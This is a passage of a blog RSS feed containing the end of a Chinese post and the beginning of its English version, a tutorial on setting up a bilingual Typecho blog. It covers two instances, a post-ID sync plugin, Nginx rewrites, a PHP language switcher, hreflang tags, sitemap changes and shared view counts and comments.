  $host = $_SERVER[&apos;HTTP_HOST&apos;];

  // 判断是否有英文前缀 &quot;/en/&quot;
  if (strpos($current_url, &apos;/en/&apos;) === 0) {
    $current_url = substr_replace($current_url, &apos;&apos;, 0, 3);
  }

  $new_url_cn = &apos;https://&apos; . $host . $current_url;
  $new_url_en = &apos;https://&apos; . $host . &apos;/en&apos; . $current_url;

  // 生成两个超链接
  echo &apos;&amp;lt;link rel=&quot;alternate&quot; hreflang=&quot;zh-cn&quot; href=&quot;&apos;.$new_url_cn.&apos;&quot; /&amp;gt;&apos;;
  echo &apos;&amp;lt;link rel=&quot;alternate&quot; hreflang=&quot;en-us&quot; href=&quot;&apos;.$new_url_en.&apos;&quot; /&amp;gt;&apos;;
  echo &apos;&amp;lt;link rel=&quot;alternate&quot; hreflang=&quot;x-default&quot; href=&quot;&apos;.$new_url_cn.&apos;&quot; /&amp;gt;&apos;;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同时需要在中文和英文站点都添加一遍。&lt;/p&gt;
&lt;p&gt;之后，访问我们的网站，应该就能在&lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;中找到相应的&lt;code&gt;hreflang&lt;/code&gt;配置。&lt;/p&gt;
&lt;h2&gt;同步点赞量和浏览量&lt;/h2&gt;
&lt;p&gt;这一步和主题关联性比较大，可能并不适用于所有主题。我用的Joe主题，由主题本身连接数据库并读取写入点赞量、浏览量。我直接通过修改英文实例的主题代码，使其直接读写中文实例的点赞量和浏览量即可。&lt;br /&gt;
修改&lt;code&gt;&amp;lt;webroot&amp;gt;/en/usr/themes/Joe/core/function.php&lt;/code&gt;中获取浏览量的函数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 查询文章浏览量 */
function _getViews($item, $type = true)
{
-    $db = Typecho_Db::get();
+ // $db = Typecho_Db::get();

+ $db = new Typecho_Db(&apos;Mysql&apos;, &apos;typecho_&apos; /* Prefix */);
+ $db-&amp;gt;addServer([
+     &apos;host&apos; =&amp;gt; &apos;mysql&apos;,
+     &apos;user&apos; =&amp;gt; &apos;typecho&apos;,
+     &apos;password&apos; =&amp;gt; &apos;[数据删除]&apos;,
+     &apos;charset&apos; =&amp;gt; &apos;utf8mb4&apos;,
+     &apos;port&apos; =&amp;gt; 3306,
+     &apos;database&apos; =&amp;gt; &apos;typecho&apos;
+ ], Typecho_Db::READ | Typecho_Db::WRITE);
  
  $result = $db-&amp;gt;fetchRow($db-&amp;gt;select(&apos;views&apos;)-&amp;gt;from(&apos;table.contents&apos;)-&amp;gt;where(&apos;cid = ?&apos;, $item-&amp;gt;cid))[&apos;views&apos;];
  if ($type) echo number_format($result);
  else return number_format($result);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;修改&lt;code&gt;&amp;lt;webroot&amp;gt;/en/usr/themes/Joe/core/function.php&lt;/code&gt;中获取点赞量的函数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 查询文章点赞量 */
function _getAgree($item, $type = true)
{
- $db = Typecho_Db::get();
+ // $db = Typecho_Db::get();

+ $db = new Typecho_Db(&apos;Mysql&apos;, &apos;typecho_&apos; /* Prefix */);
+ $db-&amp;gt;addServer([
+     &apos;host&apos; =&amp;gt; &apos;mysql&apos;,
+     &apos;user&apos; =&amp;gt; &apos;typecho&apos;,
+     &apos;password&apos; =&amp;gt; &apos;[数据删除]&apos;,
+     &apos;charset&apos; =&amp;gt; &apos;utf8mb4&apos;,
+     &apos;port&apos; =&amp;gt; 3306,
+     &apos;database&apos; =&amp;gt; &apos;typecho&apos;
+ ], Typecho_Db::READ | Typecho_Db::WRITE);
  
  $result = $db-&amp;gt;fetchRow($db-&amp;gt;select(&apos;agree&apos;)-&amp;gt;from(&apos;table.contents&apos;)-&amp;gt;where(&apos;cid = ?&apos;, $item-&amp;gt;cid))[&apos;agree&apos;];
  if ($type) echo number_format($result);
  else return number_format($result);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;修改&lt;code&gt;&amp;lt;webroot&amp;gt;/en/usr/themes/Joe/core/route.php&lt;/code&gt;中主页显示浏览量部分的代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;        $result[] = array(
            &quot;mode&quot; =&amp;gt; $item-&amp;gt;fields-&amp;gt;mode ? $item-&amp;gt;fields-&amp;gt;mode : &apos;default&apos;,
            &quot;image&quot; =&amp;gt; _getThumbnails($item),
            &quot;time&quot; =&amp;gt; date(&apos;Y-m-d&apos;, $item-&amp;gt;created),
            &quot;created&quot; =&amp;gt; date(&apos;d/m/Y&apos;, $item-&amp;gt;created),
            &quot;title&quot; =&amp;gt; $item-&amp;gt;title,
            &quot;abstract&quot; =&amp;gt; _getAbstract($item, false),
            &quot;category&quot; =&amp;gt; $item-&amp;gt;categories,
-           &quot;views&quot; =&amp;gt; number_format($item-&amp;gt;views),
+           // &quot;views&quot; =&amp;gt; number_format($item-&amp;gt;views),
+           &quot;views&quot; =&amp;gt; _getViews($item, false),
            &quot;commentsNum&quot; =&amp;gt; number_format($item-&amp;gt;commentsNum),
-           &quot;agree&quot; =&amp;gt; number_format($item-&amp;gt;agree),
+           // &quot;agree&quot; =&amp;gt; number_format($item-&amp;gt;agree),
+           &quot;agree&quot; =&amp;gt; _getAgree($item, false),
            &quot;permalink&quot; =&amp;gt; $item-&amp;gt;permalink,
            &quot;lazyload&quot; =&amp;gt; _getLazyload(false),
            &quot;type&quot; =&amp;gt; &quot;normal&quot;
        );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;文章页面中显示浏览量部分的代码本身就是调用的&lt;code&gt;_getViews&lt;/code&gt;，因此不需要修改。&lt;br /&gt;
修改增加浏览量部分的代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 增加浏览量 已测试 √ */
function _handleViews($self)
{
    $self-&amp;gt;response-&amp;gt;setStatus(200);

    $cid = $self-&amp;gt;request-&amp;gt;cid;

    /* sql注入校验 */
    if (!preg_match(&apos;/^\d+$/&apos;,  $cid)) {
        return $self-&amp;gt;response-&amp;gt;throwJson(array(&quot;code&quot; =&amp;gt; 0, &quot;data&quot; =&amp;gt; &quot;Illegal request! Blocked!&quot;));
    }
-   $db = Typecho_Db::get();  
+   // $db = Typecho_Db::get();  
+   $db = new Typecho_Db(&apos;Mysql&apos;, &apos;typecho_&apos; /* Prefix */);
+   $db-&amp;gt;addServer([
+       &apos;host&apos; =&amp;gt; &apos;mysql&apos;,
+       &apos;user&apos; =&amp;gt; &apos;typecho&apos;,
+       &apos;password&apos; =&amp;gt; &apos;[数据删除]&apos;,
+       &apos;charset&apos; =&amp;gt; &apos;utf8mb4&apos;,
+       &apos;port&apos; =&amp;gt; 3306,
+       &apos;database&apos; =&amp;gt; &apos;typecho&apos;
+   ], Typecho_Db::READ | Typecho_Db::WRITE);
    
    
    $row = $db-&amp;gt;fetchRow($db-&amp;gt;select(&apos;views&apos;)-&amp;gt;from(&apos;table.contents&apos;)-&amp;gt;where(&apos;cid = ?&apos;, $cid));
    if (sizeof($row) &amp;gt; 0) {
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;修改点赞和取消点赞部分代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 点赞和取消点赞 已测试 √ */
function _handleAgree($self)
{
    $self-&amp;gt;response-&amp;gt;setStatus(200);

    $cid = $self-&amp;gt;request-&amp;gt;cid;
    $type = $self-&amp;gt;request-&amp;gt;type;

    /* sql注入校验 */
    if (!preg_match(&apos;/^\d+$/&apos;,  $cid)) {
        return $self-&amp;gt;response-&amp;gt;throwJson(array(&quot;code&quot; =&amp;gt; 0, &quot;data&quot; =&amp;gt; &quot;Illegal request! Blocked!&quot;));
    }
    /* sql注入校验 */
    if (!preg_match(&apos;/^[agree|disagree]+$/&apos;, $type)) {
        return $self-&amp;gt;response-&amp;gt;throwJson(array(&quot;code&quot; =&amp;gt; 0, &quot;data&quot; =&amp;gt; &quot;Illegal request! Blocked!&quot;));
    }
-   $db = Typecho_Db::get();
+   // $db = Typecho_Db::get();  
+   $db = new Typecho_Db(&apos;Mysql&apos;, &apos;typecho_&apos; /* Prefix */);
+   $db-&amp;gt;addServer([
+       &apos;host&apos; =&amp;gt; &apos;mysql&apos;,
+       &apos;user&apos; =&amp;gt; &apos;typecho&apos;,
+       &apos;password&apos; =&amp;gt; &apos;[数据删除]&apos;,
+       &apos;charset&apos; =&amp;gt; &apos;utf8mb4&apos;,
+       &apos;port&apos; =&amp;gt; 3306,
+       &apos;database&apos; =&amp;gt; &apos;typecho&apos;
+   ], Typecho_Db::READ | Typecho_Db::WRITE);
  
    $row = $db-&amp;gt;fetchRow($db-&amp;gt;select(&apos;agree&apos;)-&amp;gt;from(&apos;table.contents&apos;)-&amp;gt;where(&apos;cid = ?&apos;, $cid));
    if (sizeof($row) &amp;gt; 0) {
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;完成上述修改后保存，接着访问英文站可发现和中文站的浏览量同步了。&lt;/p&gt;
&lt;h2&gt;同步评论&lt;/h2&gt;
&lt;p&gt;本来想弄个插件，hook一下发布评论的函数，在发布的时候同时在另一个实例的数据库中同步插入评论信息，但是发现我的Joe主体已经hook了，我再hook会冲突，因此直接编辑Joe主题的代码：
编辑&lt;code&gt;&amp;lt;webroot&amp;gt;/index/usr/themes/Joe/core/factory.php&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

require_once(&quot;phpmailer.php&quot;);
require_once(&quot;smtp.php&quot;);

/* 加强评论拦截功能 */
Typecho_Plugin::factory(&apos;Widget_Feedback&apos;)-&amp;gt;comment = array(&apos;Intercept&apos;, &apos;message&apos;);
class Intercept
{
  public static function message($comment)
  {
    ...
    Typecho_Cookie::delete(&apos;__typecho_remember_text&apos;);
+   
+   $db = new Typecho_Db(&apos;Mysql&apos;, &apos;typecho_&apos; /* Prefix */);
+   $db-&amp;gt;addServer([
+       &apos;host&apos; =&amp;gt; &apos;mysql&apos;,
+       &apos;user&apos; =&amp;gt; &apos;typecho_en&apos;,
+       &apos;password&apos; =&amp;gt; &apos;[数据删除]&apos;,
+       &apos;charset&apos; =&amp;gt; &apos;utf8mb4&apos;,
+       &apos;port&apos; =&amp;gt; 3306,
+       &apos;database&apos; =&amp;gt; &apos;typecho_en&apos;
+   ], Typecho_Db::READ | Typecho_Db::WRITE);
+   
+   $row = [
+       &apos;coid&apos;     =&amp;gt; $comment[&apos;coid&apos;], // 必须包含新生成的评论ID
+       &apos;cid&apos;      =&amp;gt; $comment[&apos;cid&apos;],
+       &apos;created&apos;  =&amp;gt; $comment[&apos;created&apos;],
+       &apos;author&apos;   =&amp;gt; $comment[&apos;author&apos;],
+       &apos;authorId&apos; =&amp;gt; $comment[&apos;authorId&apos;],
+       &apos;ownerId&apos;  =&amp;gt; $comment[&apos;ownerId&apos;],
+       &apos;mail&apos;     =&amp;gt; $comment[&apos;mail&apos;],
+       &apos;url&apos;      =&amp;gt; $comment[&apos;url&apos;],
+       &apos;ip&apos;       =&amp;gt; $comment[&apos;ip&apos;],
+       &apos;agent&apos;    =&amp;gt; $comment[&apos;agent&apos;],
+       &apos;text&apos;     =&amp;gt; $comment[&apos;text&apos;],
+       &apos;type&apos;     =&amp;gt; $comment[&apos;type&apos;],
+       &apos;status&apos;   =&amp;gt; $comment[&apos;status&apos;],
+       &apos;parent&apos;   =&amp;gt; $comment[&apos;parent&apos;]
+   ];
+
+   // 插入数据到目标数据库的 `comments` 表
+   $db-&amp;gt;query($db-&amp;gt;insert(&apos;typecho_comments&apos;)-&amp;gt;rows($row));
    return $comment;
  }
}
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同理也在英文实例如此操作一番，插入到中文的数据库中&lt;br /&gt;
这个方案存在的一个问题就是如果有垃圾评论需要删除，需要分别去两个实例各删除一次，后面再修吧（x&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;参考文章：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/typecho/languages&quot;&gt;typecho/languages - GitHub&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>Configuring a Simple Multi-language Solution for Typecho</title><link>https://blog.iyoroy.cn/posts/en-226/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-226/</guid><description>Running Chinese and English blogs as two Typecho instances, synchronizing post IDs with a plugin, and adding language switching, sitemaps, hreflang, and shared views and comments.</description><pubDate>Wed, 19 Nov 2025 14:10:00 GMT</pubDate><content:encoded>&lt;p&gt;I wanted to add internationalization support to my blog, providing a separate English version for each post and page. However, after searching online, I found that Typecho has poor support for i18n. Eventually, I designed my own solution and am documenting it here.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This article assumes you have some basic understanding of PHP, Nginx, and Typecho&apos;s core logic.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;Analysis&lt;/h1&gt;
&lt;h2&gt;Requirements&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Need to provide both Chinese and English versions for each post and page.&lt;/li&gt;
&lt;li&gt;Need to configure a language switcher so users can easily switch languages on the frontend.&lt;/li&gt;
&lt;li&gt;Need search engines to correctly identify and index the multi-language versions of the content.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Proposed Solution&lt;/h2&gt;
&lt;p&gt;There are roughly two main schemes for distinguishing between Chinese and English content:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Use a separate parameter, like accessing posts with &lt;code&gt;/?lang=zh-CN&lt;/code&gt; and &lt;code&gt;/?lang=en-US&lt;/code&gt;. However, this scheme is relatively difficult to implement and less friendly for search engine indexing.&lt;/li&gt;
&lt;li&gt;Distinguish via the URL path, e.g., &lt;code&gt;https://&amp;lt;host&amp;gt;/article&lt;/code&gt; for the Chinese page and &lt;code&gt;https://&amp;lt;host&amp;gt;/en/article&lt;/code&gt; for the English page. This is simpler to configure (essentially setting up two separate Typecho instances) and is more search engine friendly. The challenge is that comments and view counts need to be manually synchronized.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;After summarizing, I chose the second scheme and planned to implement multi-language support by creating a new Typecho instance directly under the &lt;code&gt;/en/&lt;/code&gt; path.&lt;/p&gt;
&lt;h2&gt;Implementation Plan&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;First, duplicate the blog instance into two copies: one for Chinese and one for English, then translate the English copy.&lt;/li&gt;
&lt;li&gt;Modify the frontend code to implement the language switcher.&lt;/li&gt;
&lt;li&gt;To ensure the article URLs between the two sites only differ by the &lt;code&gt;/en&lt;/code&gt; prefix, the &lt;code&gt;cid&lt;/code&gt; (content ID) for corresponding articles must be the same. Since &lt;code&gt;cid&lt;/code&gt; is auto-incremented based on the order of creating posts and attachments, I plan to write a sync plugin. When a post is published on the Chinese site, it automatically inserts a corresponding article with the same cid in the English database.&lt;/li&gt;
&lt;li&gt;Modify the SiteMap plugin. Because a sitemap cannot both contain page links and references to other sitemaps, the main site needs to create two sitemaps: one main sitemap containing the Chinese site pages, and another index sitemap responsible for indexing both the Chinese and English sitemaps.&lt;/li&gt;
&lt;li&gt;Add the &lt;code&gt;hreflang&lt;/code&gt; attribute within the &lt;code&gt;&amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;&lt;/code&gt; section to inform search engines about the multi-language handling.&lt;/li&gt;
&lt;li&gt;Link the view counts and like counts from the English site to the Chinese database.&lt;/li&gt;
&lt;li&gt;Sync the comments between two instances.&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;Let&apos;s Do It&lt;/h1&gt;
&lt;h2&gt;Create the English Instance&lt;/h2&gt;
&lt;p&gt;Copy the entire website directory and place it in the &lt;code&gt;/en/&lt;/code&gt; folder under the original web root. Also, duplicate the database; I named the new one &lt;code&gt;typecho_en&lt;/code&gt;.&lt;br /&gt;
Next, configure URL rewrite (pseudo-static) rules for both instances:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;location /en/ {
    if (!-e $request_filename) {
        rewrite ^(.*)$ /en/index.php$1 last;
    }
}

location / {
  if (!-e $request_filename) {
      rewrite ^(.*)$ /index.php$1 last;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The reason for wrapping the main Chinese instance&apos;s rules in a location block is that during testing, I found that without it, the English instance might be parsed as part of the Chinese instance, leading to 404 errors.&lt;br /&gt;
Also, modify the database configuration in &lt;code&gt;&amp;lt;webroot&amp;gt;/en/config.inc.php&lt;/code&gt; to point to the English instance&apos;s database.&lt;br /&gt;
At this point, accessing &lt;code&gt;&amp;lt;host&amp;gt;/en/&lt;/code&gt; should display a site identical to the main Chinese site.&lt;/p&gt;
&lt;h2&gt;Modify Typecho Language&lt;/h2&gt;
&lt;p&gt;This step might be optional since the frontend language is largely determined by the theme. Changing Typecho&apos;s backend language isn&apos;t strictly necessary but helps for consistency (and makes it easy to tell which admin panel you&apos;re in!).
Simply refer to the &lt;a href=&quot;https://github.com/typecho/languages&quot;&gt;official Typecho multi-language support on GitHub&lt;/a&gt;. Download the language pack from the Releases and extract it to &lt;code&gt;&amp;lt;webroot&amp;gt;/en/usr/langs/&lt;/code&gt;. Then, navigate to &lt;code&gt;https://&amp;lt;host&amp;gt;/en/admin/options-general.php&lt;/code&gt;, where you should see the language setting option. Change it to English.&lt;/p&gt;
&lt;h2&gt;Translate the Theme&lt;/h2&gt;
&lt;p&gt;This is the most tedious step. I use the Joe theme. Go to &lt;code&gt;&amp;lt;webroot&amp;gt;/en/usr/themes/Joe&lt;/code&gt; and translate all the Chinese text related to display into English. There&apos;s no very convenient method here; machine translation often sounds awkward, so I opted for manual translation.&lt;br /&gt;
Note that some frontend configurations are within JS files, not just PHP source files. These need translation too.&lt;/p&gt;
&lt;h2&gt;Translate Articles&lt;/h2&gt;
&lt;p&gt;This step is self-explanatory. Translate the articles under &lt;code&gt;/en/&lt;/code&gt; one by one into English and save them.&lt;/p&gt;
&lt;h2&gt;Configure Article Sync Publishing&lt;/h2&gt;
&lt;p&gt;This step ensures the &lt;code&gt;cid&lt;/code&gt; remains synchronized between corresponding articles on both sites. Since &lt;code&gt;cid&lt;/code&gt; relates to the access URL, keeping them in sync simplifies the language switcher configuration later—just adding or removing &lt;code&gt;/en&lt;/code&gt; from the host.
cid is an auto-incrementing primary key field in the &lt;code&gt;typecho_contents&lt;/code&gt; table. Its assignment is also related to attachments in Typecho. Since I plan to upload all attachments to the Chinese site, without special handling, the &lt;code&gt;cid&lt;/code&gt; values can easily become misaligned, increasing subsequent work.
Therefore, my chosen solution is to use AI to help write a plugin that triggers when the Chinese site publishes an article. It reads the &lt;code&gt;cid&lt;/code&gt; assigned by the Chinese site and writes a corresponding entry into the English site&apos;s database.
Create the file &lt;code&gt;&amp;lt;webroot&amp;gt;/usr/plugins/SyncToEnglish/Plugin.php&lt;/code&gt; and fill it with the following content:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
if (!defined(&apos;__TYPECHO_ROOT_DIR__&apos;)) exit;

/**
 * Sync Chinese Articles to English Database
 *
 * @package SyncToEnglish
 * @author ChatGPT, iYoRoy
 * @version 1.0.0
 * @link https://example.com
 */
class SyncToEnglish_Plugin implements Typecho_Plugin_Interface
{
    public static function activate()
    {
        Typecho_Plugin::factory(&apos;Widget_Contents_Post_Edit&apos;)-&amp;gt;finishPublish = [__CLASS__, &apos;push&apos;];
        return &apos;SyncToEnglish plugin activated: Empty corresponding articles will be automatically created in the English database when Chinese articles are published.&apos;;
        error_log(&quot;[SyncToEnglish] Plugin activated successfully&quot;);
    }

    public static function deactivate()
    {
        return &apos;SyncToEnglish plugin deactivated&apos;;
    }

    public static function config(Typecho_Widget_Helper_Form $form)
    {
        $host = new Typecho_Widget_Helper_Form_Element_Text(&apos;host&apos;, NULL, &apos;localhost&apos;, _t(&apos;English DB Host&apos;));
        $user = new Typecho_Widget_Helper_Form_Element_Text(&apos;user&apos;, NULL, &apos;root&apos;, _t(&apos;English DB Username&apos;));
        $password = new Typecho_Widget_Helper_Form_Element_Password(&apos;password&apos;, NULL, NULL, _t(&apos;English DB Password&apos;));
        $database = new Typecho_Widget_Helper_Form_Element_Text(&apos;database&apos;, NULL, &apos;typecho_en&apos;, _t(&apos;English DB Name&apos;));
        $port = new Typecho_Widget_Helper_Form_Element_Text(&apos;port&apos;, NULL, &apos;3306&apos;, _t(&apos;English DB Port&apos;));
        $charset = new Typecho_Widget_Helper_Form_Element_Text(&apos;charset&apos;, NULL, &apos;utf8mb4&apos;, _t(&apos;Charset&apos;));
        $prefix = new Typecho_Widget_Helper_Form_Element_Text(&apos;prefix&apos;, NULL, &apos;typecho_&apos;, _t(&apos;Table Prefix&apos;));

        $form-&amp;gt;addInput($host);
        $form-&amp;gt;addInput($user);
        $form-&amp;gt;addInput($password);
        $form-&amp;gt;addInput($database);
        $form-&amp;gt;addInput($port);
        $form-&amp;gt;addInput($charset);
        $form-&amp;gt;addInput($prefix);
    }

    public static function personalConfig(Typecho_Widget_Helper_Form $form) {}

    public static function push($contents, $widget)
    {
        $options = Helper::options();
        $config = $options-&amp;gt;plugin(&apos;SyncToEnglish&apos;);

        // Get article info from Chinese database
        $cnDb = Typecho_Db::get();
        if (is_array($contents) &amp;amp;&amp;amp; isset($contents[&apos;cid&apos;])) {
            $cid = $contents[&apos;cid&apos;];
            $title = $contents[&apos;title&apos;];
        } elseif (is_object($contents) &amp;amp;&amp;amp; isset($contents-&amp;gt;cid)) {
            $cid = $contents-&amp;gt;cid;
            $title = $contents-&amp;gt;title;
        } else {
            $db = Typecho_Db::get();
            $row = $db-&amp;gt;fetchRow($db-&amp;gt;select()-&amp;gt;from(&apos;table.contents&apos;)-&amp;gt;order(&apos;cid&apos;, Typecho_Db::SORT_DESC)-&amp;gt;limit(1));
            $cid = $row[&apos;cid&apos;];
            $title = $row[&apos;title&apos;];
            error_log(&quot;[SyncToEnglish DEBUG] CID not found in param, fallback to latest cid={$cid}\n&quot;, 3, __DIR__ . &apos;/debug.log&apos;);
        }

        $article = $cnDb-&amp;gt;fetchRow($cnDb-&amp;gt;select()-&amp;gt;from(&apos;table.contents&apos;)-&amp;gt;where(&apos;cid = ?&apos;, $cid));
        if (!$article) return;

        $enDb = new Typecho_Db(&apos;Mysql&apos;, $config-&amp;gt;prefix);
        $enDb-&amp;gt;addServer([
            &apos;host&apos; =&amp;gt; $config-&amp;gt;host,
            &apos;user&apos; =&amp;gt; $config-&amp;gt;user,
            &apos;password&apos; =&amp;gt; $config-&amp;gt;password,
            &apos;charset&apos; =&amp;gt; $config-&amp;gt;charset,
            &apos;port&apos; =&amp;gt; (int)$config-&amp;gt;port,
            &apos;database&apos; =&amp;gt; $config-&amp;gt;database
        ], Typecho_Db::READ | Typecho_Db::WRITE);

        try {
            $exists = $enDb-&amp;gt;fetchRow($enDb-&amp;gt;select()-&amp;gt;from(&apos;table.contents&apos;)-&amp;gt;where(&apos;cid = ?&apos;, $article[&apos;cid&apos;]));

            if ($exists) {
                $enDb-&amp;gt;query($enDb-&amp;gt;update(&apos;table.contents&apos;)
                    -&amp;gt;rows([
                        // &apos;title&apos; =&amp;gt; $article[&apos;title&apos;],
                        &apos;slug&apos; =&amp;gt; $article[&apos;slug&apos;],
                        &apos;modified&apos; =&amp;gt; $article[&apos;modified&apos;]
                    ])
                    -&amp;gt;where(&apos;cid = ?&apos;, $article[&apos;cid&apos;])
                );
            } else {
                $enDb-&amp;gt;query($enDb-&amp;gt;insert(&apos;table.contents&apos;)-&amp;gt;rows([
                    &apos;cid&apos;      =&amp;gt; $article[&apos;cid&apos;],
                    &apos;title&apos;    =&amp;gt; $article[&apos;title&apos;],
                    &apos;slug&apos;     =&amp;gt; $article[&apos;slug&apos;],
                    &apos;created&apos;  =&amp;gt; $article[&apos;created&apos;],
                    &apos;modified&apos; =&amp;gt; $article[&apos;modified&apos;],
                    &apos;type&apos;     =&amp;gt; $article[&apos;type&apos;],
                    &apos;status&apos;   =&amp;gt; $article[&apos;status&apos;],
                    &apos;authorId&apos; =&amp;gt; $article[&apos;authorId&apos;],
                    &apos;views&apos;    =&amp;gt; 0,
                    &apos;text&apos;     =&amp;gt; $article[&apos;text&apos;],
                    &apos;allowComment&apos; =&amp;gt; $article[&apos;allowComment&apos;],
                    &apos;allowFeed&apos;    =&amp;gt; $article[&apos;allowFeed&apos;],
                    &apos;allowPing&apos;    =&amp;gt; $article[&apos;allowPing&apos;]
                ]));
            }

        } catch (Exception $e) {
            error_log(&apos;[SyncToEnglish] Sync failed: &apos; . $e-&amp;gt;getMessage());
        }
    }
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, go to the admin backend, enable the plugin, and configure the English database information.&lt;br /&gt;
After completion, publishing an article on the Chinese site should automatically publish an article with the same &lt;code&gt;cid&lt;/code&gt; on the English site.&lt;/p&gt;
&lt;h2&gt;Configure the Language Switcher&lt;/h2&gt;
&lt;p&gt;Since we have synchronized the article &lt;code&gt;cid&lt;/code&gt;, switching languages now only requires modifying the URL by adding or removing the &lt;code&gt;/en/&lt;/code&gt; prefix. We can create a switcher using PHP and place it in the theme&apos;s header:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Language Selector --&amp;gt;
&amp;lt;div class=&quot;joe_dropdown&quot; trigger=&quot;hover&quot; placement=&quot;60px&quot;&amp;gt;
    &amp;lt;div class=&quot;joe_dropdown__link&quot;&amp;gt;
    &amp;lt;a href=&quot;#&quot; rel=&quot;nofollow&quot;&amp;gt;Language&amp;lt;/a&amp;gt;
    &amp;lt;svg class=&quot;joe_dropdown__link-icon&quot; viewBox=&quot;0 0 1024 1024&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;14&quot; height=&quot;14&quot;&amp;gt;
        &amp;lt;path d=&quot;M561.873 725.165c-11.262 11.262-26.545 21.72-41.025 18.502-14.479 2.413-28.154-8.849-39.415-18.502L133.129 375.252c-17.697-17.696-17.697-46.655 0-64.352s46.655-17.696 64.351 0l324.173 333.021 324.977-333.02c17.696-17.697 46.655-17.697 64.351 0s17.697 46.655 0 64.351L561.873 725.165z&quot; fill=&quot;var(--main)&quot; /&amp;gt;
    &amp;lt;/svg&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;nav class=&quot;joe_dropdown__menu&quot;&amp;gt;
    &amp;lt;?php
        // Get the current full URL
        $current_url = $_SERVER[&apos;REQUEST_URI&apos;]; 
        $host = $_SERVER[&apos;HTTP_HOST&apos;];

        // Check if there is an English prefix &quot;/en/&quot;
        if (strpos($current_url, &apos;/en/&apos;) === 0) {
        $current_url = substr_replace($current_url, &apos;&apos;, 0, 3);
        }

        $new_url_cn = &apos;https://&apos; . $host . $current_url;
        $new_url_en = &apos;https://&apos; . $host . &apos;/en&apos; . $current_url;

        // Generate the two hyperlinks
        echo &apos;&amp;lt;a href=&quot;&apos; . $new_url_cn . &apos;&quot;&amp;gt;简体中文&amp;lt;/a&amp;gt;&apos;;
        echo &apos;&amp;lt;a href=&quot;&apos; . $new_url_en . &apos;&quot;&amp;gt;English&amp;lt;/a&amp;gt;&apos;;
    ?&amp;gt;
    &amp;lt;/nav&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This needs to be added to both the Chinese and English instances.&lt;br /&gt;
After this, the language selector should be available globally. For the Joe theme I use, separate language selectors needed to be written for mobile and PC views.&lt;/p&gt;
&lt;h2&gt;Modify the SiteMap Plugin&lt;/h2&gt;
&lt;p&gt;To help search engines index the English pages faster, I decided to modify the SiteMap plugin to include the English site&apos;s pages. There are two types of sitemaps: sitemapindex (for indexing sub-sitemaps) and urlset (for containing page URLs). I use the &lt;a href=&quot;https://github.com/joyqi/typecho-plugin-sitemap&quot;&gt;joyqi/typecho-plugin-sitemap&lt;/a&gt; plugin. Based on this, I changed the default &lt;code&gt;/sitemap.xml&lt;/code&gt; to a sitemapindex, created a new route &lt;code&gt;/sitemap_cn.xml&lt;/code&gt; to hold the Chinese site&apos;s sitemap, left the English site&apos;s plugin unchanged (its sitemap remains at &lt;code&gt;/en/sitemap.xml&lt;/code&gt;), and had the main index sitemap reference both &lt;code&gt;/sitemap_cn.xml&lt;/code&gt; and &lt;code&gt;/en/sitemap.xml&lt;/code&gt;.
Modify the SiteMap&apos;s Plugin.php:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
* Activate plugin method, if activated failed, throw exception will disable this plugin.
*/
public static function activate()
{
    Helper::addRoute(
-       &apos;sitemap&apos;,
+       &apos;sitemap_index&apos;,
        &apos;/sitemap.xml&apos;,
        Generator::class,
-       &apos;generate&apos;,
+       &apos;generate_index&apos;,
        &apos;index&apos;
    );
+   Helper::addRoute(
+       &apos;sitemap_cn&apos;,
+       &apos;/sitemap_cn.xml&apos;,
+       Generator::class,
+       &apos;generate_cn&apos;,
+       &apos;index&apos;
+   );
}

/**
* Deactivate plugin method, if deactivated failed, throw exception will enable this plugin.
*/
public static function deactivate()
{
-   Helper::removeRoute(&apos;sitemap&apos;);
+   Helper::removeRoute(&apos;sitemap_index&apos;);
+   Helper::removeRoute(&apos;sitemap_cn&apos;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Complete code&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

namespace TypechoPlugin\Sitemap;

use Typecho\Plugin\PluginInterface;
use Typecho\Widget\Helper\Form;
use Utils\Helper;

if (!defined(&apos;__TYPECHO_ROOT_DIR__&apos;)) {
    exit;
}

/**
 * Plugin to automatically generate a sitemap for Typecho.
